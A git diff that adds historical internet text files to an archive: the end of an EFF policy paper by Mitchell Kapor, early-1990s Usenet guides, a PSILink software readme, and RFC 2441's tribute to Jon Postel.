included in the design and +development process, but they are unlikely to develop the unanticipated +new applications which will create huge new markets. + + There is a fertile computer underground of tens of thousands of non- +commercial computer bulletin boards, electronic newsletters and other +publications, chat lines, and other services which operate in a completely +ad hoc fashion mostly over the public switched telephone network and to +some extent over the Internet. Efforts should be made to include the +designers of these grass roots experiments in digital media in the +development of applications and services for the NPN. + + The NPN should encourage information entrepreneurship. Make it as +easy to provide a service as it is to order a business telephone and get a +listing in the yellow pages. The architectural design of NPN should be +heavily influenced by these considerations. Now is the time to invite +prospective developers in while they can influence the design of the +platform. + + Government should consider how to accelerate commercial development +by selective funding of key research prototypes of network applications. +These efforts should actively attempt to include creative talent from across +the entire spectrum of computing and communications technology. + + Recommendation #5: + + Design the NPN with the intent of fully applying first amendment rights +of freedom of speech, freedom of the press, and freedom of assembly to its +users. + + Among the many ultimate uses of the NPN, information and +communication applications will be in the first rank. As such, our society +will face many of the choices it has faced in the past with the creation of +new media such as the telephony and broadcasting. As Ithiel de Sola Pool +pointed out so clearly in "Technologies of Freedom", there are critical +choices to be made in the early years of a new medium with regard to the +regulatory model to be adopted. The lack of regulation and government +ability to control print media stands in sharp contrast to the heavy +regulation and control over broadcasting. + + The development of new digital media based on a national public +network will raise these issues once again. Because digital media +represent a convergence of all previous media in including elements +characteristic of print, telephony and other forms of common carriage, +and broadcasting, the process of developing a social consensus about the +treatment of digital media is especially challenging. + + I would agree with de Sola Pool in recommending that the public +interest will be best served by a regime which encourages the greatest +diversity and hence the greatest public choice. The print model of +protection of free speech through the general absence of censorship and +government control, as buttressed by the first amendment, offers the +greatest chance of achieving this end. + + + Conclusion: + + Obviously there are an enormous number of programmatic details to be +worked out to realize these recommendations. As well, many of the +propositions set forth may be regarded as controversial. If this paper has +succeeded in injecting new ideas into the public discourse, it must be +considered successful. + + +Mitchell Kapor, President Electronic Frontier Foundation, Inc. 155 +Second St. Cambridge, MA 02141 + +Internet: mkapor@eff.org +MCI Mail: mkapor (617) 864-1550 \ No newline at end of file diff --git a/textfiles.com/internet/q b/textfiles.com/internet/q new file mode 100644 index 00000000..de46949a --- /dev/null +++ b/textfiles.com/internet/q @@ -0,0 +1,256 @@ +Xref: blister news.announce.newusers:73 news.groups:7464 +Path: blister!jtsv16!torsqnt!news-server.csri.toronto.edu!rpi!zaphod.mps.ohio-state.edu!sdd.hp.com!news.cs.indiana.edu!purdue!intuitive.com!taylor +From: taylor@intuitive.com +Newsgroups: news.announce.newusers,news.groups +Subject: A Guide to Social Newsgroups and Mailing Lists +Message-ID: <15414@ector.cs.purdue.edu> +Date: 25 Jul 91 23:16:21 GMT +Expires: 23 Oct 91 23:16:20 GMT +Sender: spaf@cs.purdue.EDU +Reply-To: taylor@intuitive.com +Followup-To: news.announce.newusers +Lines: 241 +Approved: spaf@cs.purdue.EDU +Supersedes: <14710@ector.cs.purdue.edu> + +Original-from: taylor@intuitive.com (Dave Taylor) +[Most recent change: 9 Nov 1990 by taylor@intuitive.com (Dave Taylor)] + + A Brief Guide to Social Newsgroups and Mailing Lists + on the Usenet + + +INTRODUCTION + +The Usenet distributed conferencing system is a terrific way to meet +new friends and engage in many interesting topics of conversation, but +people just joining our on-line community often have a difficult time +figuring out which group is which and what groups they could join to +find like-minded individuals. + +To try to help this situation, this article is intended to be one of +a group of regularly posted articles that are given to new users to +aid you in deciding where you might have the best luck finding new +electronic friends that share your interests both socially and sexually. + +Disclaimer: some of what is said on Usenet might be offensive to you as +some of the groups discuss topics that are, well, a bit unusual. +Fortunately it's easy to avoid this problem; don't read that group. Also +please keep in mind that the more controversial the subject, the more +likely the group is awash in inane, unrelated discussion, partially +due to the nature of the Usenet community and partially perhaps due to +how uncomfortable most people are with these subjects. + +To reiterate this point, please do NOT join a group to find a forum for +arguing or demonstrating righteous indignation over a particular belief, +behavior, or desire. Those discussions are almost always completely +inappropriate and the more controversial the subject, the more likely +the participants in a group are going to dislike judgemental postings. +Also, there is a good chance that you have misunderstood either the +offending article or the responses of other readers. In other words, +you may well be alone in your indignation. + +Finally, as with all groups on the Usenet, once you find one that +seems of interest, please try to spend a week or two just reading +the group and learning how conversations proceeed in that particular +forum before you jump in. It'll save you, and others, a lot of grief +and unpleasantness. + +THE GROUPS + +alt.romance + + One of the nicest things about any relationship, be it the beginning of + a courtship or years into a more serious committment, are the little + things that you do for each other, the romance. If you're interested + in chatting with people about what is considered romantic, talking about + a particular romantic thing that you've done, or even just reading + stories about what other couples have done to 'be romantic' or 'have a + romantic liason', then this is the group. + +alt.sex + + What's a relationship without sex? For that matter, how many of us + would be around without our parents having had sex? This group is one of + the most controversial on the net, not surprisingly, and while the + actual number of articles that discuss sex or sexuality is distressingly + low, the group is still an interesting place to find the occasional + horror story of a sexual rendezvous gone bad, to read debates about + what type of birth control (or condom) is best, or even to read some + surprisingly revealing details about the sex lives of people on the net. + +alt.sex.bestiality + + While bestiality refers to engaging in sexual activity with an animal, + the articles in this group seem to talk about everything but that. + +alt.sex.bondage + + The best spin-off discussion from alt.sex, this group has a higher level + of interesting articles, which talk about bondage and related topics, + ranging from the psychology of being confined by another during sexual + play to the mechanics of different bondage devices. It also occasionally + delves into sadism and masochism, so as with any other group, if you don't + like what you're reading, be prepared to unsubscribe. + +rec.arts.erotica + + A moderated group with long, but infrequent articles, rec.arts.erotica + is the main focus for erotica and pornography, depending on your + standards. Most are explicit, and some demonstrate a surprising writing + ability, but many also seem rather sleazy and variously demeaning. Just + like reading the Letters to Penthouse, it's a mixed bag as to whether any + of it will be exciting or erotic to you. + +soc.couples + + Being in a short or long term relationship offers much in the way of + joy, pleasure, and emotional satisfaction, but it also offers the + chance for major arguments and other problems. This group is where + you can talk about the relationship you're in with others that are also + in relationships of their own. + +soc.feminism + + Soc.feminism is a moderated newsgroup for the discussion of feminist + issues. Both men and women are encouraged to post to it and discussion + is not limited to the pro-feminist viewpoint. + + This group differs from soc.women in that moderation keeps out the + flames and inappropriate cross-posts. In addition, there are several + subjects appropriate for soc.women but not soc.feminism (e.g. the + sporadic "where do I find comfortable shoes?" discussion that turns up + in soc.women or discussions of women's health, other than policy issues + related to it). + +soc.men + + This group discusses similar issues to soc.women, but from the + male perspective. Topics include equal rights, child support, + custody of children, relationships and so on. In addition, there + are often topics specific to men including shaving in the shower, + post-workout skin care, and similar. Both men and women are active + participants in this group. + +soc.motss + + While the Usenet community is pretty open minded, many of the + aforementioned social groups tend to be populated primarily by + the heterosexual community. Soc.motss (Members of the Same Sex) + is where people who are lesbian, gay, bisexual, or just interested and + sympathetic can share conversation about relationships, dating, travel, + and the like. Discussion of the validity or appropriateness of + homosexuality is inappropriate, however, and will not be appreciated. + +soc.singles + + Of all the things that people seem to have in common, perhaps the most + common thread of all is the bouts of being single, and the hunting and + searching for relationships that this implies. This group is a forum + for all discussions even vaguely related to either being single or the + quest for a relationship. Indeed, it has been likened to an electronic + cocktail party, where people have known each other (electronically, + usually) for years. There are also a number of people in relationships + that share their thoughts, as well as a high level of aggression between + some of the contributors. + +soc.women + + Soc.women is an unmoderated group that discusses similar issues to + soc.men, but from the female perspective. Topics include equal rights, + child support, custody of children, relationships and so on. In addition, + there are often topics specific to women including shaving legs, finding + comfortable shoes, and so on. Both men and women are active participants + in this group. + +OTHER PLACES TO LOOK + +In addition to these Usenet groups, there are many other forums on +Usenet where you can make new friends and share conversations about +topics of interest to yourself. Among them are the many "soc.culture" +groups for specific ethnic/geographic cultures, the "soc.religion" and +"talk.religion" groups for those interested in meeting friends of a +specific religious background, the "rec.*" groups oriented about a +specific recreational activity and many more. + +Also, there are a number of different private mailing lists for specific +sexual and social orientations, including: + + alternates + Contact: alternates-request@binbi.vanc.wa.us + + Purpose: Mail.alternates is a mail list for people who advocate, + and/or practice an open sexual lifestyle. Its members are + primarily bisexual men and women, and their SO's. Mail.alternates + is intended as a forum, and support group for adult men and women + who espouse their freedom of choice and imagination in human + sexual relations, no matter what their orientaion. Those who are + offended by frank, and uninhibited discussions relating to sexual + issues should not subscribe. + + Moderator/Editor: Hank Buurman + + bears + Contact: bears-request@spdcc.COM (Steve Dyer & Brian Gollum) + ...!{harvard,ima,linus,mirror}!spdcc!bears-request + + Purpose: Mail.bears is a mailing list in digest format for gay + and bisexual men who are bears themselves and for those who enjoy + the company of bears. The exact definition of a "bear" seems to + be a personal one, but it encompasses men who are variously cuddly, + furry, perhaps stocky, or bearded. Mail.bears is designed to be a + forum to bring together folks with similar interests for conversation, + friendship and sharing of experiences. The tone of mail.bears + will be determined by its members, but people uncomfortable with + discussing sexually explicit topics via electronic mail should + not subscribe. + + cdforum + Contact: uunet!samsung!wizvax!cdforum-request (Stephanie Gilgut) + + Purpose: To provide support/discuss/share experiences about gender + related issues; Crossdressing, Transvestism, Transsexualism, etc. + This list is in Digest Format. + + feminists + Contact: femail@hpldlh.hpl.hp.com (Patricia Collins) + + Purpose: The feminist mailing list is intended to provide a forum + for discussion of issues of interest to women, in a friendly + atmosphere. The basic tenets of feminism and the day-to-day + experiences of women do not have to be explained or defended. Men + and women can join, but everyone requesting to be added to the + mailing list MUST provide the moderator with: 1) a full name; 2) a + complete uucp path to a well-known host or a fully specified + Internet address; 3) the correspondent's gender (for records and + statistics only). NO exceptions. + + men + Contact: attunix!mail-men-request + mail-men-request@attunix.att.com (Marcel Franck Simon) + + Purpose: This digested mailing list discusses "men's issues." + Both women and men may join. Mail-men is a place where men and + women can discuss men's issues in an atmosphere of openness and + support. Men's issues are those problems and experiences that + affect male humans. + + sappho + Contact: sappho-request@bloom-beacon.mit.edu (Jean Marie Diaz) + {mit-eddie,bu-cs}!bloom-beacon!sappho-request + + Purpose: A forum and support group for gay and bisexual women. + The list is not moderated, but may become so if the volume and/or + content begins to warrant it. A digest version is available; if + you want it, be sure to mention it in your addition request. Men + who want to "listen in," for whatever reason, are requested to use + the feminist and alternates mailing lists instead; sappho + membership is limited to women. + + +SUMMARY + +Please use this list of Usenet groups and mailing lists as one of the many +signposts to help you find the groups that you'll be interested in. One +other terrific place to find more information is by asking your friends on +the net what groups they read too! diff --git a/textfiles.com/internet/r b/textfiles.com/internet/r new file mode 100644 index 00000000..b3aa1923 --- /dev/null +++ b/textfiles.com/internet/r @@ -0,0 +1,279 @@ +Xref: blister news.announce.newusers:57 news.admin:4313 +Path: blister!jtsv16!torsqnt!news-server.csri.toronto.edu!rpi!zaphod.mps.ohio-state.edu!samsung!news.cs.indiana.edu!purdue!spaf +From: spaf@cs.purdue.EDU (Gene Spafford) +Newsgroups: news.announce.newusers,news.admin +Subject: What is Usenet? +Message-ID: <15396@ector.cs.purdue.edu> +Date: 25 Jul 91 23:15:52 GMT +Expires: 23 Oct 91 23:15:52 GMT +Followup-To: news.announce.newusers +Organization: Dept. of Computer Sciences, Purdue Univ. +Lines: 265 +Approved: spaf@cs.purdue.EDU +Supersedes: <14692@ector.cs.purdue.edu> + +Original from: chip@count.tct.com (Chip Salzenberg) +[Most recent change: 23 Jul 1991 by spaf@cs.purdue.edu (Gene Spafford)] + + +The first thing to understand about Usenet is that it is widely +misunderstood. Every day on Usenet, the "blind men and the elephant" +phenomenon is evident, in spades. In the opinion of the author, more +flame wars arise because of a lack of understanding of the nature of +Usenet than from any other source. And consider that such flame wars +arise, of necessity, among people who are on Usenet. Imagine, then, +how poorly understood Usenet must be by those outside! + +Any essay on the nature of Usenet cannot ignore the erroneous +impressions held by many Usenet users. Therefore, this article will +treat falsehoods first. Keep reading for truth. (Beauty, alas, is +not relevant to Usenet.) + +WHAT USENET IS NOT +------------------ + 1. Usenet is not an organization. + + Usenet has no central authority. In fact, it has no central + anything. There is a vague notion of "upstream" and "downstream" + related to the direction of high-volume news flow. It follows + that, to the extent that "upstream" sites decide what traffic + they will carry for their "downstream" neighbors, that "upstream" + sites have some influence on their neighbors. But such influence + is usually easy to circumvent, and heavy-handed manipulation + typically results in a backlash of resentment. + + 2. Usenet is not a democracy. + + A democracy can be loosely defined as "government of the people, + by the people, for the people." However, as explained above, + Usenet is not an organization, and only an organization can be run + as a democracy. Even a democracy must be organized, for if it + lacks a means of enforcing the peoples' wishes, then it may as + well not exist. + + Some people wish that Usenet were a democracy. Many people + pretend that it is. Both groups are sadly deluded. + + 3. Usenet is not fair. + + After all, who shall decide what's fair? For that matter, if + someone is behaving unfairly, who's going to stop him? Neither + you nor I, that's certain. + + 4. Usenet is not a right. + + Some people misunderstand their local right of "freedom of speech" + to mean that they have a legal right to use others' computers to + say what they wish in whatever way they wish, and the owners of + said computers have no right to stop them. + + Those people are wrong. Freedom of speech also means freedom not + to speak; if I choose not to use my computer to aid your speech, + that is my right. Freedom of the press belongs to those who own + one. + + 5. Usenet is not a public utility. + + Some Usenet sites are publicly funded or subsidized. Most of + them, by plain count, are not. There is no government monopoly + on Usenet, and little or no control. + + 6. Usenet is not a commercial network. + + Many Usenet sites are academic or government organizations; in + fact, Usenet originated in academia. Therefore, there is a Usenet + custom of keeping commercial traffic to a minimum. If such + commercial traffic is generally considered worth carrying, then it + may be grudgingly tolerated. Even so, it is usually separated + somehow from non-commercial traffic; see "comp.newprod." + + 7. Usenet is not the Internet. + + The Internet is a wide-ranging network, parts of which are + subsidized by various governments. The Internet carries many + kinds of traffic; Usenet is only one of them. And the Internet is + only one of the various networks carrying Usenet traffic. + + 8. Usenet is not a UUCP network. + + UUCP is a protocol (some might say "protocol suite," but that's a + technical point) for sending data over point-to-point connections, + typically using dialup modems. Usenet is only one of the various + kinds of traffic carried via UUCP, and UUCP is only one of the + various transports carrying Usenet traffic. + + 9. Usenet is not a UNIX network, nor even an ASCII network. It is + also most certainly not just an American network. + + Don't assume that everyone is using "rn" on a UNIX machine. There + are Vaxen running VMS, IBM mainframes, Amigas, and MS-DOS PCs + reading and posting to Usenet. And, yes, some of them use + (shudder) EBCDIC. Ignore them if you like, but they're out there. + Some sites use special character sets for non-English postings, + too, and even if they use the same character set, realize that + your words might mean different things in other cultures. + +10. Usenet is not software. + + There are dozens of software packages used at various sites to + transport and read Usenet articles. So no one program or package + can be called "the Usenet software." + + Software designed to support Usenet traffic can be (and is) used + for other kinds of communication, usually without risk of mixing + the two. Such private communication networks are typically kept + distinct from Usenet by the invention of newsgroup names different + from the universally-recognized ones. + +Well, enough negativity. + +WHAT USENET IS +-------------- +Usenet is the set of machines that exchange articles tagged with one +or more universally-recognized labels, called "newsgroups" (or +"groups" for short). + +(Note that the term "newsgroup" is correct, while "area," "base," +"board," "bboard," "conference," "round table," "SIG," etc. are +incorrect. If you want to be understood, be accurate.) + +DIVERSITY +--------- +If the above definition of Usenet sounds vague, that's because it is. + +It is almost impossible to generalize over all Usenet sites in any +non-trivial way. Usenet encompasses government agencies, large +universities, high schools, businesses of all sizes, home computers of +all descriptions, etc, etc. + +CONTROL +------- +Every administrator controls his own site. No one has any real +control over any site but his own. + +The administrator gets his power from the owner of the system he +administers. As long as the owner is happy with the job the +administrator is doing, he can do whatever he pleases, up to and +including cutting off Usenet entirely. Them's the breaks. + +PROPAGATION +----------- +In the old days, when UUCP over long-distance dialup lines was the +dominant means of article transmission, a few well-connected sites had +real influence in determining which newsgroups would be carried where. +Those sites called themselves "the backbone." + +But things have changed. Nowadays, even the smallest Internet site +has connectivity the likes of which the backbone admin of yesteryear +could only dream. In addition, in the U.S., the advent of cheaper +long-distance calls and high-speed modems has made long-distance +Usenet feeds thinkable for smaller companies. There is only one +pre-eminent UUCP transport site today in the U.S., namely UUNET. But +UUNET isn't a player in the propagation wars, because it never refuses +any traffic -- it gets paid by the minute, after all; and besides, to +refuse based on content would jeopardize its legal status as an +enhanced service provider. + +All of the above applies to the U.S. In Europe, different cost +structures favored the creation of strictly controlled hierarchical +organizations with central registries. This is all very unlike the +traditional mode of U.S. sites (pick a name, get the software, get a +feed, you're on). Europe's "benign monopolies," long uncontested, now +face competition from looser organizations patterned after the U.S. +model. + +NEWSGROUP CREATION +------------------ +As discussed above, Usenet is not a democracy. Nevertheless, the +current most popular way to create a new newsgroup involves a "vote" +to determine popular support for (and opposition to) a proposed +newsgroup. The document that describes this procedure is entitled +"How To Create A New Newsgroup." Its common name, however, is "the +guidelines." + +If you follow the guidelines, it is probable that your group will be +created and will be widely propagated. + +HOWEVER: Because of the nature of Usenet, there is no way for any user +to enforce the results of a newsgroup vote (or any other decision, for +that matter). Therefore, for your new newsgroup to be propagated +widely, you must not only follow the letter of the guidelines; you +must also follow its spirit. And you must not allow even a whiff of +shady dealings or dirty tricks to mar the vote. + +So, you may ask: How is a new user supposed to know anything about the +"spirit" of the guidelines? Obviously, he can't. This fact leads +inexorably to the following recommendation: + + >> If you are a new user, don't try to create a new newsgroup. << + +If you have a good newsgroup idea, then read the "news.groups" +newsgroup for a while (six months, at least) to find out how things +work. If you're too impatient to wait six months, then you really +need to learn; read "news.groups" for a year instead. If you just +can't wait, find a Usenet old hand to run the vote for you. + +Readers may think this advice unnecessarily strict. Ignore it at your +peril. It is embarrassing to speak before learning. It is foolish to +jump into a society you don't understand with your mouth open. And it +is futile to try to force your will on people who can tune you out +with the press of a key. + +IF YOU ARE UNHAPPY... +--------------------- +Property rights being what they are, there is no higher authority on +Usenet than the people who own the machines on which Usenet traffic is +carried. If the owner of the machine you use says, "We will not carry +alt.sex on this machine," and you are not happy with that order, you +have no Usenet recourse. What can we outsiders do, after all? + +That doesn't mean you are without options. Depending on the nature of +your site, you may have some internal political recourse. Or you +might find external pressure helpful. Or, with a minimal investment, +you can get a feed of your own from somewhere else. Computers capable +of taking Usenet feeds are down in the $500 range now, and +UNIX-capable boxes are going for under $2000, and there are at least +two UNIX lookalikes in the $100 price range. + +No matter what, though, appealing to "Usenet" won't help. Even if +those who read such an appeal are sympathetic to your cause, they will +almost certainly have even less influence at your site than you do. + +By the same token, if you don't like what some user at another site is +doing, only the administrator and/or owner of that site have any +authority to do anything about it. Persuade them that the user in +question is a problem for them, and they might do something (if they +feel like it). + +If the user in question is the administrator or owner of the site from +which he or she posts, forget it; you can't win. Arrange for your +newsreading software to ignore articles from him or her if you can, +and chalk one up to experience. + +WORDS TO LIVE BY #1: + USENET AS SOCIETY +-------------------- + Those who have never tried electronic communication may not be aware + of what a "social skill" really is. One social skill that must be + learned, is that other people have points of view that are not only + different, but *threatening*, to your own. In turn, your opinions may + be threatening to others. There is nothing wrong with this. Your + beliefs need not be hidden behind a facade, as happens with + face-to-face conversation. Not everybody in the world is a bosom + buddy, but you can still have a meaningful conversation with them. + The person who cannot do this lacks in social skills. + + -- Nick Szabo + +WORDS TO LIVE BY #2: + USENET AS ANARCHY +-------------------- + Anarchy means having to put up with things that really piss you off. + + -- Unknown + +-- +Gene Spafford +NSF/Purdue/U of Florida Software Engineering Research Center, +Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-1398 +Internet: spaf@cs.purdue.edu phone: (317) 494-7825 diff --git a/textfiles.com/internet/read.me b/textfiles.com/internet/read.me new file mode 100644 index 00000000..98daa10a --- /dev/null +++ b/textfiles.com/internet/read.me @@ -0,0 +1,189 @@ + + + PSILink 3.2 Installation + rev. Aug 1, 1992 + +Copyright 1992 Performance Systems International, Inc. All rights reserved. +______________________________________________________________________________ + +*** ORDERING *** + +You are using the copyrighted Shareware version of PSILink. Shareware is a +low cost distribution mechanism for useful software applications. + +PSILink service is activated when you order. There is a one time activation +fee plus a fixed monthly service fee. There are no usage or connect time +charges. Consult the PSILink Order form for prices. + +To order service you must fill out a PSILink Order Form and send it to PSI +Inc. This order form can be obtained by: + + 1) Printing out the file order.ps (found on your installation diskette). + This REQUIRES the use of a postscript printer. You will NOT be able to + print this document intelligibly on a non-postscript printer. + + 2) Calling 1.703.620.6651. Be sure to have a FAX number (preferred) or + postal address ready. +______________________________________________________________________________ + +*** DISTRIBUTION *** + +PSILink is distributed on a single 3.5" high density floppy disk. Copies can +be made if the disk contents are copied in entirety and are not altered. + +For users with Internet access the contents of the distribution diskette are +also available using anonymous FTP from ftp.psi.com under the psilink +directory. + +All files must be retrieved in binary (image) mode onto either a blank +formatted diskette or a empty directory on a hard disk (preferably NOT +named \PSILINK). +______________________________________________________________________________ + +*** INSTALLATION *** + +PSILink is an integrated program for sending and receiving Internet +electronic mail, USENET news and for accessing Internet anonymous FTP +archives. + +To install: + + + Change to this drive + Type the drive letter followed by a colon (e.g. a:) and press ENTER. + + Change to this directory + Use cd or chdir. + + Type INSTALL then press ENTER + +If you encounter trouble see TROUBLE REPORTING below. + +After you install PSILink, type PSILINK /H for help on command line options. +______________________________________________________________________________ + +*** VERY QUICK USER GUIDE *** + ++ F1 activates Help + ESC cancels a command + ALT+x exits PSILink + +Make menu selections by: + + Using a mouse and clicking on a menu selection, or ... + + Pressing F10 and using the arrow keys, or ... + + Using ALT+Letter. For example, pressing ALT+p will activate the + PSILink menu and then pressing 'x' will select Exit. + +If the Main Menu is hidden, it can be activated by: + + Using the mouse and clicking the up-arrow in the upper right corner, or .. + + Pressing F10 twice, or ... + + Using ALT+p, ALT+m, ALT+w or ALT+h (the highlighted Main Menu letters). + ++ F3 - to write mail ++ ALT+c - connects to PSINet ++ F4 - to read mail + +______________________________________________________________________________ + +*** JUMP START *** + +All PSILink subscribers can use electronic mail. There are three main +email activities in PSILink: + + + Writing new mail + + Connecting to PSINet to send mail you have written and get mail addressed + to you + + Reading mail addressed to you + +To use PSILink: + ++ Type PSILINK at the DOS prompt and press ENTER ++ If PSILink asks you about the time, answer y or n ++ Press F3 (Messages:Write Mail) and compose some mail to yourself + Address it to 'your account'@psilink.com (e.g. pl9999@psilink.com) ++ Press F3 to put your message in the *outbox* ++ Press ALT+c to connect to PSINet ++ Press ALT+c to connect again to get the mail you sent ++ PSILink should automatically put you into Read Mail / News (F4) if you got + your mail. + +Make sure you spell your account name and password correctly. Your account +name can be corrected with PSILink:Setup (the Setup selection in the PSILink +menu). + +If you do not have an account you may try account 'guest' and password +'guest'. The account is unsuitable for normal use since anyone can access +it. + +To use USENET news you must be subscribed to 'Basic' PSILink service. Steps +for use are: + + + First you must get the current list of news groups + + Enable Recieve News and Send News in your Connect + Configuration. + + Connect to PSINet at least once to get the list of + USENET news groups. + + Now you can get news + + Subscribe to news groups. Use the Subscribe to News + selection in the Messages menu. You only have to do + this once. + + Connect to PSINet to get news from the news groups you + subscribed to. + + Use Read Mail / News to read the news. Item:Reply All will address + your reply to the news group. + + Use Write News to post an original news article. + +To use Batch Anonymous FTP to access Internet archives you must be subscribed +to 'Basic' PSILink service. Steps for use are: + + + Use the 'Request file (Anon FTP)' selection in the Services menu to + specify what file you want retrieved. Leave the file name blank to + get a listing of files in that directory (path) on the host you + specify. If you leave the directory (path) blank the host's default + directory is used. + + Connect to PSINet to place your file 'orders'. + + Periodically examine the 'Status of File Requests' selection in the + Services menu to see what files are ready. If you have any + outstanding orders, PSILink checks on their status everytime you + connect. + + Enable 'Recieve Files' in your Connect Configuration. The next + time you connect, PSILink will retrieve any files that are ready. + +______________________________________________________________________________ + +*** TROUBLE REPORTING *** + +If PSILink misbehaves, send a note to: + + psilink-help@psi.com + +A built in 'help' mail alias is available so you don't have to remember the +exact address. + +Please include: + + Your PSILink account name + + A concise description of the problem + + The version number of PSILink you are using (see PSILink:About) + + The type of PC you are using: + + Brand & Model + + Processor type + + Amount of memory installed + + Peripherals installed + + The version of DOS you are using + + The names and versions of any TSR's you may have installed. + +PSILink requires at least 512k of free memory. If PSILink is failing for +you, make sure you have tried it without any TSR's installed to determine if +you have a memory problem. + +The number in the upper right-hand corner of the menus indicates how much DOS +memory is left. + +On systems with slow disks a disk caching program, like Microsoft's +SMARTDRIVE, can improve performance. Having BUFFERS=40 in your CONFIG.SYS +will improve performance also. + +For timely response, use electronic mail (psilink-help@psi.com) to +communicate with PSI. Our customer support structure is optimized around +electronic communications, and can be responded to 24hours/day, 7 days/week, +depending on load and availability. + +However, if you can't send or receive mail with PSILink call 1.518.283.8860 +(available Monday through Friday from 8am to 6pm EST) and ask for Customer +Support. + diff --git a/textfiles.com/internet/rfc2441.txt b/textfiles.com/internet/rfc2441.txt new file mode 100644 index 00000000..42063a31 --- /dev/null +++ b/textfiles.com/internet/rfc2441.txt @@ -0,0 +1,339 @@ + + + + + + +Network Working Group D. Cohen +Request for Comments: 2441 Myricom +Category: Informational November 1998 + + + Working with Jon + Tribute delivered at UCLA, October 30, 1998 + +Status of this Memo + + This memo provides information for the Internet community. It does + not specify an Internet standard of any kind. Distribution of this + memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (1998). All Rights Reserved. + +Tribute + + In 1973, after doing interactive flight simulation over the ARPAnet, + I joined ISI and applied that experience to interactive speech over + the ARPAnet. + + The communication requirements for realtime speech were unique (more + like UDP than like TCP). This got me involved in the Network Working + Group, and I started another project at ISI called "Internet + Concepts". + + In 1977 Steve Crocker, who was then at ISI, told me that Jon was + willing to join us, and that Jon will be a great addition to my + Internet Concepts project. Steve was right on both accounts. + + Jon and I worked together from 1977 until 1993 when I left ISI. + According to ISI's management Jon worked for me for several years, + and I worked for him for several years. In reality we never worked + for each other (nor for ISI), we always worked together, to advance + the technology that we believed in. Over most of those 16 years we + had our offices together, and always worked with each other, even + when we worked on totally different projects. + + Jon was always most pleasant to work with. He was most caring both + about the project, and about the individuals on the team. He was + always full of great intentions and humor. Jon was always ready for + mischiefs, one way or another. He was always game to hack something. + + + + + + +Cohen Informational [Page 1] + +RFC 2441 Working with Jon November 1998 + + + When I worked on the MOSIS project, in 1980, users submitted their + VLSI designs to us by e-mail. For several defense contractors, + getting access to the ARPAnet was too complex. We suggested that + they would use a commercial e-mail service, like TELEmail, instead. + + Then we had the problem of getting all the e-mail systems to + interoperate, since none of them was willing to interoperate with the + others. Jon and I solved this problem during one long night of + hacking. This hack later became the mail-tunnel that provided the + service known as "InterMail", for passing e-mail between various + non-cooperating systems, including systems like MCImail and IEEE's + COMPmail. + + I'm sure that Jon was so enthusiastic to work with me on it for two + reasons: + + * Such interoperability among heterogeneous e-mail systems + was our religion, with no tolerance for separatism; + + * We definitely were not supposed to do it. + + Jon hated bureaucracy and silly rules, as Cary Thomas so well + described. Too bad that we lived in an environment with so many + rules. + + We started Los-Nettos without lawyers and without formal contracts. + Handshakes were good enough. At that time several other regional + networks started around the country. Most of them were interested in + expansion, in glory, and in fortune. Jon was interested only in + getting the problem solved. + + This was Jon's priority, both at work, and in his life. + + I find it funny to read in the papers that Jon was the director of + IANA. Jon was IANA. Much more important, Jon was the corporate + memory of the Internet, and also the corporate style and the + technical taste of the Internet. + + Jon was an authority without bureaucracy. No silly rules! Jon's + authority was not derived from any management structure. It was due + to his personality, his dedication, deep understanding, and demanding + technical taste and style. + + Jon set the standards for both the Internet standards and for the + Internet standardization process. Jon turned the RFCs into a central + piece of the standardization process. + + + + + +Cohen Informational [Page 2] + +RFC 2441 Working with Jon November 1998 + + + One can also read that Jon was the editor of the RFC, and may think + that Jon checked only the grammar or the format of the RFCs. Nothing + could be further from the truth, not that he did not check it, but in + addition, being the corporate memory, Jon had indicated many times to + authors that earlier work had treated the same subject, and that + their work would be improved by learning about that earlier work. + + For the benefits of those in the audience who are either too young or + too old to remember let me recall some recent history: + + The Internet protocols (mainly IP, TCP, UDP, FTP, Telnet, FTP, and + even SNMP) were defined and documented in their RFCs. DoD adopted + them and announced a date by which all of DoD units would have to use + TCP/IP. They even translated RFC791 from Jon's English to proper + Militarese. + + However, all the other countries (i.e., their governments and PTTs) + in the world joined the ISO wagon, the X.25 based suite of OSI + protocols. The US government joined them and defined GOSIP. All the + large computer companies (from IBM and DEC down) announced their + future plans to join the GOSIP bandwagon. DoD totally capitulated + and denounced the "DoD unique protocols" and was seeking ways to + forget all about them, spending million of dollars on GOSIP and + X.500. + + Against them, on the Internet side, there was a very small group of + young Davids. The OSI camp had its prestige, but we had working + systems, a large community of devotees, and properly documented + protocols that allowed integration of the TCP/IP suite into every + UNIX system, such as in every SUN workstation. + + Against the strict laws in Europe, their universities developed an + underground of Internet connections. One could get from California + to the university in Rome, for example, for example, by going first + over the Internet across the US to the east coast, then to the UK, + then using some private lines to France, then to CERN in Switzerland, + and from there to Rome - while breaking the laws of all those + countries with every packet. + + Meanwhile, in the states, Academia, and the research communities, + never knew about GOSIP. + + The Internet, against all the conventional wisdom, grew without + anyone being in charge, without central control, and without any + central planning. + + The war between the ISO and the TCP/IP camps never took place. One + camp turned out to be a no show. + + + +Cohen Informational [Page 3] + +RFC 2441 Working with Jon November 1998 + + + What made it all possible was the wise selection of what to + standardize and what not to, and the high quality of the standards in + a series of living documents. + + Our foundation and infrastructure of standards was the secret weapon + that won the war. Jon created it, using the RFC mechanism initiated + by Steve Crocker. It was Jon who immediately realized their + importance, and the need for someone to act as the curator, and + volunteered. + + The lightning speed with which Microsoft joined the Internet was not + possible without the quality of the existing standards that were so + well documented. + + During the transition from ARPA, through the NSF, to the commercial + world there was a point in which the trivial funding required for the + smooth operation of editing and distributing the RFCs was in doubt. + At that time the prospect of not having funds to run this operation + was very real. Finally the problem was solved and the process + suffered no interruption. + + What most of the involved agencies and managers did not know is that + there was never a danger of any interruption. Jon would have done it + even with no external funding. If they did not pay him to do it, he + would have paid them to let him do it. For him it was not a job, it + was labor of love. + + Jon never joined the PowerPoint generation. Jon always believed that + the content was the only thing that matters. Hand written slides + were good enough. Color and logos were distractions, a necessary + evil in certain occasions, not the style of choice. + + Jon defined quality by counting interesting ideas, not points per + inch. + + When fancy formatting creeped into the Internet community, Jon + resisted the temptation to allow fancy formats for RFCs. Instead, he + insisted on them being in ASCII, easy to e-mail, guaranteed to be + readable anywhere in the world. The instant availability and + usability of RFCs was much more important to him than how fancy they + looked. + + The Internet was not just a job for Jon. It was his hobby and his + mission in life. + + We will miss Jon, who was for the Internet its corporate memory, its + corporate style, and its corporate taste. + + + + +Cohen Informational [Page 4] + +RFC 2441 